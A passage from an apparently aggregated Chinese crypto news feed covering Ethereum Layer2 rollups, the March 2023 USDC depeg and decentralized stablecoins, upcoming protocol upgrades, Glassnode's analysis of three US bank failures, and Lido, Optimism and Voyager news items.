"链外"可以处理更快的性能的环境中，同时仍然保留 "链上 "以太坊交易的特性安全保证。目前分为 ZK Rollup 和 Optimistic Rollup 两种类型。早在 2020 年，「以 Rollup 为中心的以太坊路线图」为以太坊社区所认可，该路线图中提示大家的关键信息在于当 Rollup 与以太坊分片升级相结合时，Rollup 将变得更加强大——Rollup 方案将为以太坊网络提供了每秒 3000 笔交易的吞吐能力提升至每秒 10 万笔以上。 - 致力开发者高度友好 开发成本是开发者所需要考虑的关键问题。研究员 Young 指出 Scroll 将 ZK Rollup 技术的可扩展性与 EVM 的开发者体验相结合，通过保持 EVM 的等效性，构建者能够直接将他们的应用程序从 Layer1 迁移到 Scroll，实现了在代码迁移过程中而无需对其代码进行任何修改，打造高度开发者友好的环境。 来自 Polygon Labs 的 Kevin 老师提出 Layer2 扩容“未来属于 ZK Rollup”的观点。ZK Rollup 在安全性和提取时间上都有优势，一旦其实现对 EVM 的完全兼容，它有机会获得越来越多。目前 Polygon ZkEVM 目前已经通过了 100% 适用于 ZkEVM 的以太坊测试向量，开发人员无需修改或重写任何程式码。总之，ZK Rollup 的 EVM 兼容已经迈出一大步。 Yuxing Liao 老师为想要入场 Layer2 的创业者或开发者提供了一些发展的思路，除了利用 Layer2 发展特定应用，随着 Layer2 方案越来越受开发者的欢迎，其在基础设施方面也大有可为。 智能合约钱包：在继承主网安全性的基础上，可以将定制化的服务写入应用之中，让用户体验更加丝滑。还可以结合账户抽象技术，不仅仅比 Layer1 在 TPS 方面有所提升，还能实现以往无法实现的功能的集成与完善。 Layer3 公链：还可以基于 Layer1 与 Layer2 做一个 Layer3 定制化公链。即 Layer2 用于扩容，Layer3 用于可定制化扩容，这种定制化精准对接用户使用的特殊场景和开发者偏好的应用方向，实现大规模落地应用。 RaaS：如果想要建设基础设施，可以关注 Rollups-as-a-Service，其旨在通过提供用户友好的工具和服务来彻底改变 Rollup 的部署，这些工具和服务抽象出复杂的技术细节，使所有人都可以访问它们。这些项目提供了多种选择，包括 SDK 和用户友好的无代码界面，可实现一键式部署。 Layer2 各项目在扩展性方面不断进步。想要在此赛道耕耘的开发者或创业者可以抓住哪些发展方向呢？ 中间件等基础设施开发 Loopy 老师则提出 Layer2 在各种中间件的构建方面能够发挥独特优势。对于扩展性问题，很多新公链都在解决这一问题，那么 Layer2 存在与发展的优势究竟需要在哪里得到体现？在继承以太坊安全性的基础上，或许 Layer2 能够将 To B 的服务沟通起来，包括中间件 API 的构建。 “胖应用”领域的拓展 Loopy 老师也提出 Layer2 赛道创业者可以探索基础开发功能方向。如可以为给开发者提供了可以一键部署 Rollup 项目。此外，我们需要认识到目前 Layer2 的发展范式可能并不是收益最大化，如何利用 Layer2 发展独具优势的原生应用，或许能够爆发“胖应用”的发展潜力。无独有偶，Magic 老师介绍 Loopring 基于 ZK Rollup 的以太坊扩容网络，借主网安全性和 Layer2 的可拓展性，并且接入了 Chainlink Price Feeds，服务几十万用户，交易量高达数十亿。从中可见应用带来的无限潜力。  持续吸引开发者和用户 Young 老师则提出 Layer2 发展的关键在于如何吸引 web3 和 Web2 的开发者和用户。一方面 Layer2 开发者高度友好的发展趋势能降低整个区块链的开发门槛，让更多开发者 Web3 和 Web2 开发者去 build、去体验，良好的开发体验和低门槛成为其长期发展的优势。 另一方面，降低用户端的 gas 开销是 Layer2 最基本的使命。Layer2 的项目方需要不断优化整个的架构以及硬件，加速费用和拓展性方面的推进，让用户在链上的开销降到最低。Young 老师还提到 Scroll 未来还会从钱包着手，让 Web3 用户具有更良好的交互体验。 以太坊升级是影响加密行业发展的关键性时刻。今年年中，以太坊 EIP-4844（proto-danksharding）提案将在不牺牲去中心化的情况下，降低网络上的 gas 费用，这对 Rollup 系扩展方案带来极大利好。实际上，以太坊拓展性解决方案并不是完全在 Layer1 上实现，而是将用户迁移到 Layer2 上，让他们在那里享受性能高效、价格低廉交易体验。因此，Layer2 将为新手开发者和用户提供低门槛的全新舞台，趁此风口，Layer2 赛道将迎来新一轮爆发，这将成为 Web3 开发者不容错过年度大事记。  ( 6 min )
    Stargate DAO关于停止重新发行STG代币的提案已获投票通过
    PANews 3月15日，Snapshot页面显示，Stargate DAO关于停止重新发行STG代币的提案以98.52%的支持率获得投票通过。根据该提案，Stargate应继续在协议中使用原始STG代币，而Alameda购买的代币应保留在归属合约中，它们目前应清算人的要求保留在该合约中。 此前3月13日消息，Stargate基金会建议DAO不要重新发行STG代币，否则FTX清算人或将寻求赔偿 。  ( 4 min )
    “USDC脱锚事件”反思：我们到底需要什么样的稳定币？
    每一轮周期的叙事都不一样，如果说上一轮牛市中，核心叙事是DeFi以及分布式存储Filecoin。 那么这一轮可能爆发的点有以下几个方面：ZK板块；Arb板块；Polygon生态；BTC二层；稳定币；LSD。 前几期，veDAO给大家带来了一系列关于BTC生态的解读，这一次，veDAO将从稳定币的角度对这个行业进行思考。 上个周末，最大跌眼镜的消息无过于硅谷银行的倒闭。关于硅谷银行倒闭的更多内容，VeDAO研究院将在另一篇文章中展示，本文将从稳定币的角度重点探讨经济危机时代，稳定币的发展业态。 但首先，我们需要先从什么是稳定币这个概念开始。 稳定币（StableCoins）是加密货币的一种表现方式，其价值往往与现实世界主流法定货币相锚定，同时也使得稳定币具有了其他加密货币不具有的价值稳定性。这种稳定性使它们对想要对冲其他加密货币波动性的投资者和交易者具有吸引力。 然而，这些代币本身并不能避免波动，当遇到巨大黑天鹅事件时，稳定币也会与挂钩货币出现脱钩现象。这意味着它们会偏离其挂钩价值。 目前常见的稳定币种类有三种： 法币稳定币：USDT、USDC、BUSD为主 去中心化稳定币：以DAI为主 算法稳定币：2022年经典“黑天鹅”LUNA就是典型代表。 一直以来，算法稳定币作为一个新兴概念，一直受到行业的关注，但诸如LUNA、UST等生命周期均不长久，因此本文将主要讨论前两种稳定币的模式。 据dune数据，目前在稳定币赛道，占据主导地位的依旧是法币稳定币。 如上图，USDT+USDC+BUSD已经达到整个稳定币市场的81.4%。尽管法币稳定币势力强大，但近年来也接连遭遇现实世界的干预。就在上个月，稳定币之一的BUSD被美国监管机构以“被定义为证券”的理由叫停，并开始审查其背后的发行方Paxos。 然而，更加严峻的事情还在后面。上文所说的硅谷银行暴雷事件，也直接引发了法币稳定币与美元的脱钩热潮，并由此带来了市场对稳定币的巨大不信任感。 USDC发行人Circle于3月10日宣布，USDC已与美元脱钩，其400亿美元的USDC储备中约有33亿美元存放在现已倒闭的硅谷银行。受脱钩事件影响，USDC与未脱钩稳定币USDT汇率一度跌破0.9，最低降至0.85。鉴于USDC的附带影响，其他稳定币纷纷效仿美元脱钩。 不仅如此，由USDC引发脱钩热潮也延展到了去中心化稳定币领域。MakerDAO基于以太坊协议发行的去中心化稳定币DAI，也与美元出现短时间的脱钩。 尽管USDC和DAI在短暂脱钩之后，迅速修复了与美元的汇率，但由此引发的市场对于稳定币的不信任感则愈发加重。甚至有许多用户调侃：「尽管我们一直怀疑USDT的真实价值抵押情况，但现在看来，USDT is Always King。」 旧有的USDC和DAI出现了脱钩，没有脱钩的USDT则一直无法证明自己的代币有足额的现金抵押。在老牌稳定币陷入信任危机的同时，我们不妨把目光转向新兴的去中心化稳定币项目。 基本信息： 官网：https://hope.money/ 推特：https://twitter.com/hope_ecosystem 简介：HOPE是一个去中心化的稳定币，其代币$HOPE的底价将随着BTC和ETH的价格浮动，从0.5美元左右开始。HOPE生态包括HopeSwap、HopeLend、HopeConnect 与 HopeEcho四个协议，提供交易、借贷、衍生品、合成资产功能。 详细说明： HOPE经济模型： $HOPE：是生态系统的由储备支持的原生定价代币，将以0.5美元的折扣价推出，并随着加密货币市场的复苏逐渐实现挂钩。 $stHOPE：是$HOPE质押的代币化表示。通过质押，用户可以在生态中使用HopeSwap、HopeLend、HopeConnect、HopeEcho等应用。此外，用户还能通过质押$HOPE，可获得$stHOPE，并通过持有$stHOPE来获得$LT奖励。 $LT：是HOPE生态的激励与治理代币，用来激励用户，参与HOPE生态并进行治理。 veLT：是$LT在行使治理权时，投票锁定的代币化表示，veLT持有者可以获得$LT奖励加成，并可以对治理提案进行投票，决定包括$HOPE货币 政策 、Teasury政策和协议收入分配在内的诸多关键议题。 HOPE生态： HOPE生态系统将包含4个主要协议，围绕$HOPE与$stHOPE提供包括兑换、借贷、保证金在内的一整套完整且丰富的应用场景，并通过$LT激励用户参与生态应用与社区治理。 HopeSwap：是一个建立在以太坊上的AMM Swap，是用户通往HOPE生态的门户。用户可以在$HOPE、$stHOPE、$LT和其他资产之间进行快速交易，或为交易对提供流动性，以获得$LT奖励和手续费分成。 HopeLend：是一个多流动性池非托管借贷协议。贷款人可以通过存入流动性，以赚取利息；而借款人则可以提供抵押资产，获得超额抵押借贷。 HopeConnect：作为业内首创的DeFi创新协议，让用户无需进行中心化资产托管，便可以通过HopeConnect在顶级CEX上交易衍生品。 HopeEcho：追踪真实世界资产（ RWA ）价格的合成资产，包括股票指数、固定收益工具、商品、外汇等，降低获取TradFi服务的门槛。 运行逻辑： 基本信息： 官网：https://www.angle.money/ 推特：https://twitter.com/AngleProtocol 简介：Angle是一种去中心化、资本高效和超额抵押的稳定币协议，由运行在开放区块链上的智能合约组成。Angle 的去中心化解决方案弥补了当前方法的缺陷，并充分利用了中心化和去中心化协议的长处，它还具有超额抵押设计所带来的稳健性，同时保持与低抵押设计类似的资本效率。Angle于2022年11月上线，截止目前，其代币$Angle市值约为6700万美元。 详细说明： Angle经济模型： veANGLE：veANGLE代表“投票托管”ANGLE，是Angle协议的治理代币。ANGLE的代币经济学于2022年1月进行了升级，能够将ANGLE锁定为veANGLE，使它成为了一个基于Curve的veCRV和Frax的veFXS机制的归属和收益系统。veANGLE的关键属性，除了作为治理代币之外，还在于它不可转让且不在流动市场上交易。 Angle运行逻辑：Angle通过让人们以1:1的比率交换稳定资产和稳定资产的抵押品，以1:1的比率进行交换：1欧元的抵押品，你可以获得1个稳定币，1个稳定币，你总是可以赎回1欧元的价值的抵押品。 该协议涉及3组，在其他DeFi协议中很常见，它们都受益于Angle： 铸造、使用或销毁稳定资产的稳定寻求者和持有者（或用户） 对冲代理(HA) 可以在协议的一笔交易中以永续期货的形式获得链上杠杆，并通过这样做确保协议免受其抵押品的波动。 标准流动性提供者(SLP)，他们为协议带来额外的抵押品，并自动赚取利息、交易费用和奖励。 Angle将能够支持许多不同的稳定币，每种稳定币都有不同的抵押品类型。它将以由USDC和DAI支持的稳定欧元开始。 基本信息： 官网：https://app.reflexer.finance/ 推特：https://twitter.com/reflexerfinance 简介：Reflexer是一个可以使用加密货币抵押品来发行非挂钩稳定资产的平台。RAI是此类资产中的第一种，和最初的DAI一样，它只由ETH超额抵押生成，并有一个由链上PI控制器计算的本地资金利率来对应复杂的市场状态，以此来推动RAI的市场价格向赎回价格收敛。 详细说明： RAI/USD的汇率由其供求关系所决定，协议会试图通过不断地贬值或重估其价值来稳定RAI的价格。供应和需求机制在SAFE用户（用ETH生成RAI的用户）和RAI持有人两方之间进行。 相较于市面上其他的稳定币，RAI提出了一个新的概念：赎回机制。RAI使用一个链上PI控制器来设置其赎回价格的变化率，称为赎回率，以年化利率表示。通过对赎回率的调节，RAI能够精确的控制市场中稳定币的供给数量，进而让RAI的价格贴近系统设定的理想价格。 RAI的货币政策由四个要素组成： 赎回价格：RAI协议提前制定的代币预期价格。 市场价格：RAI在二级市场的实际交易价格。 赎回率：RAI贬值计算。 当RAI的市场价格>赎回价格持续一段时间时，赎回率将变为负值。 当RAI的市场价格<赎回价格持续一段时间时，赎回率将变为正值。 全球结算：关闭协议，用户赎回抵押品。 优劣对比： 优势：不锚定1美元，协议可以根据RAI市场价格的变化对RAI进行贬值或重估；遭遇风险损失较小。 劣势：受众太窄，以至于直到现在都没有被市场青睐；流动性稀缺，也是无法扩大市场的重要原因。 以上三款去中心化稳定币项目，均是市场上新兴、或者潜力尚未被发现的稳定币生态。事实上，当前基于去中心化稳定币的叙事已经足够繁荣。除上述三种之外，包括LUSD、FRAX、KAVA、MIM、HAY等一种稳定币项目同样值得关注。 毕竟，尽管去中心化稳定币当前市场占有率较低，且同样无法规避现实黑天鹅的影响。但某种程度上，随着全球经济环境的恶化，全球进入存量博弈，黑天鹅的事件会越来越多。这时候，没有铸币权、饱受中心化威胁的法币稳定币，就未必是一个很好的选择了。 而目前尚处于发展早期的去中心化稳定币，则在叙事上拥有更大程度的想象空间。 参考资料： 1.CeFi屡遭重创，分布式稳定币$HOPE如何取长补短？ 链接：https://m.mytoken.io/news/428359 2.RAI：Vitalik 眼中的去中心化稳定币“理想型 链接：https://mp.weixin.qq.com/s/_-bJhDcQwoDKMMY1J3QNJA 3.刚获 a16z 领投的去中心化稳定币协议 Angle 有何设计亮点？ 链接：https://www.bitpush.news/articles/1817404 4.一文详解去中心化稳定币的现状与未来 链接：https://www.odaily.news/post/5184608 5.Stability without Pegs 链接：https://medium.com/reflexer-labs/stability-without-pegs-8c6a1cbc7fbd  ( 4 min )
    盘点年中前具有强大催化剂的30个优质项目
    原文：《30 protocols with strong catalysts in the coming months》by Thor Hartvigsen，加密研究员 编译：Kxp，BlockBeats 在预期美联储加息脚步放缓等多因素叠加背景下，加密市场迎来一轮强劲上涨行情，加密研究员通过梳理 30 个今年需要长期关注的主流项目，把握主流协议在未来几个月中的最新动向。 Lido Lido V2: · 质押路由器：允许任何人通过模块化的即插即用模式成为节点操作员（目标是提高去中心化程度） · 提款：StETH 持有者可以在上海升级后直接从信标链上提款 Velodrome Velodrome 2.0 将在第一季度推出： · VELO FED：veVELO 持有者将在VELO货币政策中获得发言权 · 自定义和可调整的货币对交易费用 · 集中流动资金池的新方法 · 整体 UI/UX 改进 · 以及其他一些升级 Radiant V2 将在几周后引入： · 跨链扩展（首先是 BNB 链） · 用于借贷的新资产，包括 StETH、BNB、潜在的 GLP、gDAI 和更多通过治理投票的资产 · 通过动态流动性减少 RDNT 的排放 · UI/UX 得重新设计 Fantom Foundation · fUSD v2：为建设者和用户提供的链上收费系统（可选择使用 fUSD 作为交易费用） · FVM：Solidity 兼容，执行速度更快；测试显示约 4500tps，数据存储减少 98%，主网计划于 2023 年底上线 · Andre 将回归 Atlas 升级： · 为提款做准备（上海升级） · 8 个 ETH 迷你池（剩余的 24 个 ETH 由协议提供，用于操作验证器）；更低的进入门槛+更高水平的去中心化 · Gas 费优化（减少 40%） Atlas 计划在 3 月/4 月上线。 · PLS V2 tokenomics 将于 3 月下旬推出：这将允许用户锁定他们的PLS以获得金库的乘数点。通过这样做，他们可以从奖励中获得真正的收益，收到 esPLS Token，以及更多。 · 此外，PlutusDAO 正计划将更多的治理 Token 纳入其平台，plsRDNT 是下一个要加入的 Token。PlvRDNT 金库也计划在未来推出。 GMX 将在今年的某个时间点推出 V2（可能是第一季度/第二季度，目前正在进行审计），这将引入大量新的可交易资产，而不仅仅是 Crypto（合成货币对）。 在 Discord 中也有关于 V2 后跨链扩展的预告。 Optimism 正在建立 OP 栈：一个模块化的区块链框架，用于轻松构建各种可扩展的 rollup（OP 链）。Coinbase 的 Base 将第一个利用这项技术，其第一阶段是 Bedrock（23 年第一季度）。 · 跨链扩展到 BNB 链 Liquidity book V2： · 为sJOE质押者提供的 V2 池费用转换 · 限价订单和无需许可的流动性账簿池 · 升级到 GLP 高风险偏好金库：对冲交易员的损益 · GLP v2 整合（GMX synthetics 升级后） · 跨链扩展 · Rage perp v2：除了 tricrypto 外潜在的新抵押品选项   Synapse 正在建立一个 Ethereum 原生的 optimistic rollup（Synapse 链）： · 跨链信息传递：在一个链上调用一个合约，并在另一个链上执行 · 为跨链 Dapp 而建，配有 Synapse 桥接 · 即将上线 Frax Finance · frxETH 持续增长，因为 Frax 拥有最具竞争力的质押收益率 · FIP-188: FRAX将成为完全抵押品（从 92% 到 100%） · FRAX 和 Frax 生态系统的总体增长（FPI、veFPIS、FraxSwap、Fraxlend frxETH 等） Pendle Pendle 通过将资产分为原则 Token 和收益 Token，提供非常高的收益率，TVL 在整个 2023 年都呈上涨态势。 他们最近用 GLP 跨链到 Arbitrum，并将在未来增加 gDAI 及额外的资产。 Synthetix Synthetix V3： · 以 ETH 和其他资产作为合成资产的抵押品 · 流动性提供者将能够选择将流动性分配给哪些合成资产（高风险=高费用） · 建立在 Synthetix 之上的产品（Kwenta, Lyra, Thales 等）获得更多采用 Conic 在 Curve 上提供 omnipool（将用户的流动资金分散到不同的资金池中，并将其质押在 Convex 上），用户可以赚取 CRV + CVX + CNC。该协议在 1 周内就达到了 6500 万的 TVL。 推动因素： · 高收益带来的更广泛采用 · 额外的资产 dopex · rDPX v2: 能够以 rDPX 作为部分抵押品铸造合成 Token（rDPX 的通缩压力），第一个资产将是 dpxETH（不是 LSD）。 · Dopex OpFi 产品：在后台利用链上期权的 DeFi 产品。 Polygon Labs Polygon 正在搭建各种链： · Polygon Supernets · Polygon Avail · Polygon Zero, Miden & zkEVM · Polygon Nightfall zkEVM 将于 3 月 27 日在主网上推出。 dYdX 正在推出他们自己的应用链（v4），用 Cosmos SDK 构建，以去中心化的方式创造类似中心化交易平台的表现，这包括： · 交易时不收取 Gas 费用 · 由验证者运行链外订单簿 · DYDX作为原生 Gas Token Curve Finance 随着稳定币得到更广泛的采用，Curve 作为最大的链上稳定币流动性中心，将大大受益。 crvUSD 上线临近，这为 Curve/veCRV 创造了额外的收入。 · 更多的协议集成（启动面板和流动性池） · 改良后的 xGRAIL 版本具有所谓的「插件」 Lyra 最近推出了他们的'Newport'升级（该升级整合了 GMX 永续合约并部署在 Arbitrum 上），并增加了ETH和wBTC期权交易。 长期来看，DeFi 期权有很大的潜力，随着采用范围的扩大，Lyra 可能成为从中受益的主要协议之一。 Cosmos 几天前，链间安全（ICS）升级的第一部分通过治理获得批准，并将于 3 月 15 日启动。 ICS 允许应用链借用 Cosmos 中心验证者集来保证安全，而不需要启动自己的验证者（需要付费）。 Maker 正在推进几个项目，包括： · Spark 协议：第一个产品是 Spark Lend，它受到 Aave V3 的启发，有一个直接的 Maker 信贷额度（将于 4 月上线） · EtherDAI：原生 ETH LSD 来支持DAI 在 Arbitrum 上推出并增加了商品和指数等新资产后，gTrade 已经成为了领先的去中心化永久合约之一，经历了交易量的大幅飙升。虽然没有官方的路线图，但在 Discord 上有很多预告信息。 Aave Aave 正在推出他们的原生稳定币GHO： · 由 Aave 上的资产进行过度抵押 · 资产供应由「促进者」（由 DAO 选出的实体）控制 · AAVE质押者有着 GHO 铸币折扣 · 与 Arbitrum 合作的游戏建设者计划（GBP）：激励游戏开发者在 Treasure DAO 生态系统中进行建设 · MagicSwap v2: 游戏内经济的未来，支持 ERC-20Token 和 NFT 池，计划在今年第二季度推出 Uniswap 最近宣布了他们即将推出的手机应用程序。 Uniswap 仍然是领先的 DEX，截至 3 月，它每天大约有 5 万用户。 手机应用可以更好的吸引用户加入。 Filecoin Filecoin 将于 3 月 14 日推出 Filecoin 虚拟机（FVM）和 Filecoin EVM（FEVM）。 FVM 将允许在 Filecoin 的基础上建立自定义智能合约，开辟各种新的用例，如 Token 化数据、数据 DAO 等。 · 自 2 月推出 V2 版以来，数量/用户大量增加 一些即将在第一季度/第二季度推出的功能： · Lyra 伙伴关系 · 交叉保证金 v2 · Kwenta SDK · 质押者的费用转换 · UI/UX 改造 ... 以及更多 注：原文中第 2 个协议及其更新已不可见，故共有 29 个协议更新介绍。原文链接  ( 7 min )
    Glassnode：传统金融市场动荡不安，促使比特币发生“V型”反转
    原文：《Three Fallen Banks》by Checkmate，Glassnode 编译：东寻，DeFi 之道 在经历 2023 年最重要的一周后，数字资产行业在美国失去了三家对加密货币友好的银行机构。然而，到目前为止，投资者的主要反应似乎是在最不受信任的主要资产 BTC 和 ETH 中寻求安全。 上周已成为今年数字资产领域节奏最快，也是影响最大的一周。在短短几天内，美国有三家主要银行机构进入自愿清算，或被美国监管机构接管，而这些机构都为加密行业内的公司提供服务。 Silvergate（SI）宣布在 3 月 8 日以一种有序的方式自愿进行清算，并将资金全额返还给储户。 美国第 16 大银行硅谷银行（SVB）于 3 月 12 日被美国联邦存款保险公司（FDIC）关闭并进入破产管理，这使得这家价值 2090 亿美元的银行成为美国历史上第二大破产银行。 根据美联储关于此事的公告，纽约 Signature 银行（SBNY）也已于 3 月 12 日关闭。 对于这三家银行机构，预计将通过持有的储备金，或通过 FDIC 和美国监管机构的存款担保，归还全部存款。由于许多大型数字资产公司和稳定币发行商使用这些银行合作伙伴中的一个或多个，导致周末的行情变得不稳定。特别值得关注的是 USDC 的发行商 Circle，他告知在 SVB 持有约 33 亿美元的现金，为 USDC 暂时打破 1 美元的挂钩创造了条件。 本文将重点关注在链上以及更广泛的市场结构中的一些关键影响，包括： 几个稳定币从 1 美元开始脱钩，以及主导地位重新转向 Tether（USDT）。 数字资产市场的净资本外流，可以在两种稳定币以及 BTC 和 ETH 两大主流币中观察到。 尽管交易量增加，但期货未平仓合约仍触及周期性低点。投机兴趣导致 BTC 爆炸性反弹至 22,000 美元，ETH 回升至 1600 美元。 比特币价格发现在几种流行且广泛观察的技术分析定价模型之间交易。其在 2 月在 200 周和 365 天移动平均线（~25.0k）处遇到阻力后，价格在本周触及 200 天和 111 天移动平均线（~$19.8k）附近然后反弹。 请注意，这是历史上第一个 BTC 交易价格低于 200 周均线的周期，从这个角度来看，市场处于新的领域。 自 LUNA-UST 项目崩溃以来，本周首次看到稳定币价格出现波动，原因是担心 USDC 部分失去支持。USDC 跌至 0.88 美元的低点，紧随其后的是 DAI，为 0.89 美元，后者是因为 DAI 约 65.7% 由稳定币抵押品支持的结果。 此外，Gemini 的 GUSD 和 Paxos 的 USDP 均略低于 1 美元的挂钩汇率，而 BUSD 和 Tether 的价格则出现溢价交易。 特别是 Tether，在周末的大部分时间里出现了 1.01 美元至 1.03 美元的溢价。具有讽刺意味的是，在人们担心受到严格监管的美国银行业引发更广泛影响的情况下，Tether 被视为一个避风港。 就 DAI 而言，稳定币已成为支持它的主要抵押品形式，自 2020 年年中以来这一趋势一直在增长。USDC 约占直接抵押品的 55.5%，并且在所使用的各种 Uniswap 流动性头寸中占有很大份额，总计约占所有抵押品的 63%。 这一事件无疑开启了关于 DAI 的长期影响的讨论，DAI 据称是一种去中心化的稳定币。然而，这一事件证明了 DAI 的价格是如何通过抵押品组合（其中还包括额外的 12.4% 的Token化现实世界资产）与传统银行系统密切相关的。 正如我们在 2022 年年中报道的那样，Tether 自 2020 年年中以来在稳定币市场的主导地位一直在结构性下降。然而，随着最近针对 BUSD 的监管举措，以及本周与 USDC 相关的担忧，Tether 的主导地位已回升至 57.8% 以上。 自 2022 年 10 月以来，USDC 一直占据 30% 至 33% 的主导地位，但随着赎回窗口周一重新开启，供应量是否会减少还有待观察。BUSD 在最近几个月出现了急剧下降，发行人 Paxos 停止了新的铸造，并且主导地位从 11 月的 16.6% 下降到今天的 6.8%。 估计数字资产市场的真实资本流入和流出可能很棘手，但在大多数情况下，资本最初流入是通过两大主要资产（BTC 和 ETH）或稳定币流入的。因此，BTC 和 ETH 的已实现上限与主要稳定币的流通供应相结合，提供了一个相当稳健的衡量标准。 在这里，我们可以看到，通过这种方法，整个市场的价值约为 6770 亿美元，比一年前设定的 8510 亿美元的 ATH 下降了约 20%。BTC 的主导地位为 56.4%，ETH 为 24.5%，USDT、USDC 和 BUSD 为 17.9%，其余 1.2% 为 LTC。 按 30 天变化计算，2 月是自 2022 年 4 月以来首次出现资金净流入，峰值为+ 58 亿美元/月，主要由 BTC 和 ETH 引领。然而，上个月，市场出现了 -59.7 亿美元的逆转流出，其中 80% 是稳定币赎回（主要是 BUSD）的结果，20% 来自 BTC 和 ETH 的已实现损失。 随着硅谷银行倒闭的消息传来，投资者纷纷转向 BTC 和 ETH 寻求避难所，我们监测的各个交易平台都出现了显着的资金外流。大约 0.144% 的 BTC 和 0.325% 流通中的 ETH 从交易平台储备中被提取，表明与 FTX 崩溃类似的自我托管反应模式。 以美元计算，上个月 BTC 和 ETH 的总价值超过 18 亿美元流出交易平台。这在相对规模上不一定很大，但是观察到交易平台的净提款，尤其是在当前充满敌意的监管环境下，确实说明了投资者信心的程度，这一点值得注意。 另一方面，两种主要的稳定币每月净流入交易平台 18 亿至 23 亿美元。重要的是要注意，BUSD 以惊人的 每月 -68 亿美元的速度从交易平台流出，这远远抵消了这一点。因此，很可能正在发生一定程度的「稳定币转换」。 然而，总体而言，这似乎是市场对稳定币、BTC 和 ETH 的反应，反映出对无信任资产自我托管的显着赞赏。 最后，我们将评估通过期货市场表达的反应。本周，这两种主要资产的未平仓合约总量跌至周期性的多年低点。比特币期货头寸的名义价值为 77.5 亿美元，约占未平仓合约总量的 63%。 对于期货交易量，比特币的主导地位相似，约为 60%，并且在 FTX 后和年底沉寂之后，交易量已经回升。总交易量约为 582 亿美元/天，相当于 2022 年全年的水平。 本周价格波动的部分原因是一系列多头和空头挤压。在抛售至 1.98 万美元时，大约 8500 万美元的 BTC 多头头寸被清算。随后，随着价格回升至 22,000 美元以上，约 1900 万美元的空头头寸被清算。 在这次反弹之前，永续掉期市场的融资利率进入了极端的现货溢价水平。交易员分别支付 -27.1% 和 -48.9% 的年化资金利率来做空 BTC 和 ETH。交易员做空 ETH 的力度也大得多，BTC：ETH 的价差达到 21.8%，这是自 FTX 抛售以来的最大水平。 这加剧了 ETH 期货市场的清算。超过 4800 万美元的空头在市场回升至 1600 美元以上时被清算，这意味着相对于 BTC 而言，强制平仓的名义价值高出 2.5 倍。 这表明 ETH 市场最近被更多地用于表达投机兴趣，加剧了波动性。 我们将以最终图表结束，该图表将短期持有者（STHs）的链上反应与杠杆期货市场的反应叠加在一起。该图表显示 STH-SOPR 负 1，绘制在年化期货融资利率 上，结果如下： 通过我们定义的 155 天的年龄阈值，几乎所有的 STH 币都可能处于盈利状态，除了那些在当地高点附近收购的币。 根据我们定义的 155 天年龄阈值，几乎所有 STH 币都可能获利，除了那些在当地高点附近获得的Token。STH-SOPR（负 1）的回报值为 -3.8%，这是一个相对较大的已实现损失，表明当地「顶级买家」目前主导着支出。STH-SOPR 的方向和表现往往与资金利率相关。这两个指标反映了 BTC 市场的一个不同但意义重大的子集，其中一个代表现货/链上，另一个代表杠杆期货。 以此为背景，似乎本周花费的大部分Token都是当地顶级买家实现的亏损（其他持有者相对处于休眠状态）。这发生在期货进入急剧现货溢价之前，交易员开设了投机性空头头寸。 随着银行存款得到保证的消息传出，强劲的反弹将 BTC 推高至 22000 美元以上，将 ETH 推高至 1600 美元以上，让市场的大部分人措手不及。 结论 在 2023 年最有影响的一周之后，数字资产行业在美国缺少三家对加密货币友好的银行机构，并发现自己处于日益不利的监管环境中。随着传统金融市场在周末休市，一些稳定币出现了与 1 美元挂钩的偏离，随着周日保证存款的消息传出而恢复。 投资者的反应有点类似于后 FTX 环境，将稳定币净转移到交易平台，而不是托管 BTC 和 ETH。然而，在更广泛的范围内，该行业在上个月经历了大约 59 亿美元的净资本流出。 该行业乃至全球金融体系仍处于未知的水域。本周在许多方面强化了中本聪最初创建无需信任的稀缺数字资产的原因。  ( 7 min )
    Lido预计5月中旬进行主网升级至V2版本
    PANews 3月15日消息，Lido发推称，Lido V2将于下周上线Goerli测试网。在进行约4周的测试后，预计将于5月中旬上线以太坊主网。在所有关于链上代码的审计完成之前（预计4月底），stETH提款不会在主网上启动，目前预期是在5月中旬左右开始。 此前，Lido社区以100%的支持率通过了V2升级提案。Lido团队表示，V2智能合约总共经历7次审计，花费120万美元。其中2次已经完成，还有5次正在进行中。 截至上周五，审计中发现的所有关键问题都已得到修复。更新后的合约已经部署至以太坊Zhejiang测试网进行测试。  ( 4 min )
    Optimism技术去中心化路线图发布，拟在今年年底前完成Baseline去中心化
    PANews 3月15日消息，据官方消息，OP Labs发布Optimism技术去中心化路线图，路线图包含Baseline去中心化以及Cannon错误证明（Cannon Fault Proofs）两部分。OP Labs表示：“Baseline去中心化是我们的首要任务，也是我们希望在今年年底前帮助实现的目标。展望未来，我们预计完成故障证明去中心化的‘前兆’将成为2024年的重点。” 其中Baseline去中心化将通过达成无许可输出提案和桥去中心化以实现Optimism网络和治理系统去中心化升级。同时，团队还将对Fault Proofs不断进行技术迭代，这包括三个步骤：1.实现一个执行L2状态转换的故障证明程序，这样输出就可以在L1上进行编程验证；这是故障证明激活的前兆。2.Cannon故障证明虚拟机，这将使在L1上执行故障证明程序成为可能；这是故障证明激活的另一个前兆。3.一旦两个前兆备齐，Dispute Game（整合）就可以跟进；此步骤将使Cannon能够删除L1上的故障输出；通过这一步，Optimism将是可证明错误的。 一旦在Baseline去中心化和Cannon方面取得进展，就可以考虑其他重要步骤，包括：1.向Optimism主网部署额外的证明系统；2.逐步淘汰证明者网络；3.删除升级密钥；4.去中心化排序器（Sequencer）。  ( 4 min )
    美国检察官在听证会上再次努力阻止将Voyager的关键部分出售给Binance.US
    PANews 3月15日消息，据彭博社报道，美国官员正试图阻止将破产的Voyager Digital Ltd.的关键部分出售给Binance.US，而政府则对法官批准该交易提出上诉。美国助理检察官Larry Fogleman周二在法庭上表示，政府反对任何限制其惩罚参与该提议的任意一方的能力，以及美国破产法官Michael E. Wiles上周批准的相关破产退出计划。Fogleman告诉法官，该交易的其他方面可能会继续推进，但不会包括作为Voyager 第11章计划一部分的法律保护。 Wiles同意周三举行听证会，决定是否阻止该计划的免责条款。这些条款在公司破产案件中很常见，可以保护人们免于因实施法院批准的计划而承担个人责任。根据其破产计划，Voyager可以选择将其出售给Binance.US或清算其资产并将资金分配给债权人。在经过四天的有争议的破产听证会后，法官将允许公司采取其中任何一种做法。 此前消息，法官批准Binance.US收购Voyager Digital资产，但交易仍需清除监管障碍；美国司法部对纽约法官批准Voyager出售给Binance.US的决定提起上诉。  ( 4 min )
    以太坊正统性、EVM完全兼容，Layer2后来者Scroll能否弯道超车？
